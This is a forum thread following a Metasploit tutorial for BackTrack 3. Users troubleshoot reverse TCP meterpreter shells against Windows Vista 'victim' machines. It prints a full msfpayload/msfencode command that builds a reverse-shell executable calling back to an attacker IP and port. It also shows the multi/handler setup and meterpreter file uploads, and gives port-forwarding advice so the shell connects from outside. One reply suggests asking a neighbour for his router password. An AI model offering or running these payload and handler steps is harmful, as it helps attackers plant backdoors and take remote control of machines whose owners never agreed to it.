Metasploiting for BT3 - Reverse TCP

[lil-hard]

Thanks =Tron= for the replay, i m sure that a solution exist for this problem, i mean something like no-ip tool, or a proxy, because i started wondering " if i can get any thing "like surfing web pages" from the internet to my local pc, so, why i couldn't do the same thing for my reverse connection " there is some thing missing in my research ,but no matter how i will find a solution.

[phoenix910]

@Tr00g33k - The uploading issue can sometimes be due to a bad Ruby package. Try updating the ruby packages to the latest development packages and see if that helps. In terms of it not connecting back - make sure the executable has exited correctly on the other system when reconnecting, and that you're not running any other instances of Metasploit on the current PC (i.e., by doing a "ps -a" and looking for any related ruby processes). Also, make sure no firewall that could be getting in the way is.

@lil-hard - All I can say is that without the proper port forwarding or an external server, you won't be able to do it externally. And you can't do proper port forwarding without router access. Either ask your neighbour for his router password, or rent an external server to do it.

~phoenix910

[pieface]

Thank you for taking the time to write this tutorial,very informative.
All is well,have the shell and can navigate through the directorys on the target machine.
i can download files no problem but like Tr00g33k i am having trouble uploading files,i am getting the same error.

Has anyone else experienced similar problems? The target machine is running Vista

thanks

[phoenix910]

It may be to do with Vista's UAC - I haven't yet tried it with Vista. Run the client on Vista with Administrative permissions and see what happens then.

~phoenix910

[_MaCc_]

Thanks dude! excellent work. :-)

[Lestats]

Nice Tuto phoenix910 I enjoyed it.

Thanks for your time.

My 2 cents

Has anyone else experienced similar problems? The target machine is running Vista

I tried it on a vista machine with the firewall and UAC on. It worked like a dream.
meterpreter > upload output.exe c:
[*] uploading : output.exe -> c:
[*] uploaded : output.exe -> c:\output.exe


You have to make sure that the uploaded file is located in /pentest/exploits/framework3

[pieface]

@Lestats - thanks mate,i didnt have the file i was trying to upload in the /pentest/exploits/framework3 directory,i merely entered the path to the file that was on the desktop.

edit. This method did not work for me,anyone else having problems try the following as it works for me.

1.placing the file to upload in the /pentest/exploits/framework3 directory

2. upload -r test.txt test.txt (this will upload the test.txt file in your framework3 directory to the directory your in on the shell on the victim machine i.e C:/mozilla

cheers

[kazalku]

Hi phoenix910,
thanks a lot for the tutorial. It's really helpful for the beginners.
Well, I need some help regarding port forwarding.
Let me first describe the scenario: I've setup 2 completely separate internet connection with (obviously) different ip address.
Victim's ip is 82.24.180.15, running vista home edition SP1.
Attacker's ip 82.24.182.14, running BT3, most updated MSF

I generated the exe file:
./msfpayload windows/meterpreter/reverse_tcp LHOST=82.24.182.140 LPORT=5555 R | ./msfencode -b '' -t exe -o output.exe

Opened MSF:

=[ msf v3.3-dev
+ -- --=[ 294 exploits - 124 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 58 aux
msf> version
Framework: 3.3-dev.6055
Console : 3.3-dev.6184

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 82.24.182.14
LHOST => 82.24.182.14
msf exploit(handler) > set LPORT 5555
LPORT => 5555
msf exploit(handler) > exploit
[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...

I run the exe file on vista box........ after few seconds it's showing that "output.exe has stopped working.................", no connection was made between 2 boxes. On the victim box, firewall is off, antivirus is off, windows defender is off.

I have access to both router (they are mine), both are Netgear wgr614v6, both bearing 192.168.1.1 address. Do I need to tweak the setting? Any suggestion?? Thanks a lot for your time.

PS: the exploit works fully, if i connect to victim's router directly.
PS2: To pureh@te--> before you warn me, yep... none of the boxes are my neighbors'

[phoenix910]

Glad you liked it All your methodology is correct (just make sure that you run it with administrative permissions in vista to assure that all functions are available). The only thing you'll need to do is set up port forwarding on 82.24.182.140. You will need to go to the router setup page and make sure any external connection attempts to 5555 are sent to the local IP port 5555 of the BT3 box. Then all should connect fine. For specific port forwarding instructions for your router model, visit portforward.com

~phoenix910

[kazalku]

Glad you liked it All your methodology is correct (just make sure that you run it with administrative permissions in vista to assure that all functions are available). The only thing you'll need to do is set up port forwarding on 82.24.182.140. You will need to go to the router setup page and make sure any external connection attempts to 5555 are sent to the local IP port 5555 of the BT3 box. Then all should connect fine. For specific port forwarding instructions for your router model, visit portforward.com

~phoenix910

Thank you very much for the reply. I will definitely try that today and will let you know the result. Cheers mate